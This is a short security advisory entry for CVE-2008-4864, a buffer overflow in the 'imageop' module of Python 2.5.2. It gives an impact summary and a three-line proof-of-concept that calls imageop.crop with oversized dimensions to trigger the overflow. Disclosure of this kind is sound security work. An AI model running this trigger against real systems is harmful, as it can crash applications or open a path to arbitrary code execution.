Python 2.5.2 - 'Imageop' Module Argument Validation Buffer Overflow

Related Vulnerabilities: CVE-2008-4864  
Publish Date: 27 Oct 2008
Author: Chris Evans
                							

                source: http://www.securityfocus.com/bid/31932/info

Python's 'imageop' module is prone to a buffer-overflow vulnerability.

Successful exploits may allow attackers to execute arbitrary code in the context of applications using the vulnerable Python modules. This may result in a compromise of the underlying system. Failed attempts may lead to a denial-of-service condition.

These issues affect versions prior to Python 2.5.2-r6. 

import imageop
s = ''
imageop.crop(s, 1, 65536, 65536, 0, 0, 65536, 65536)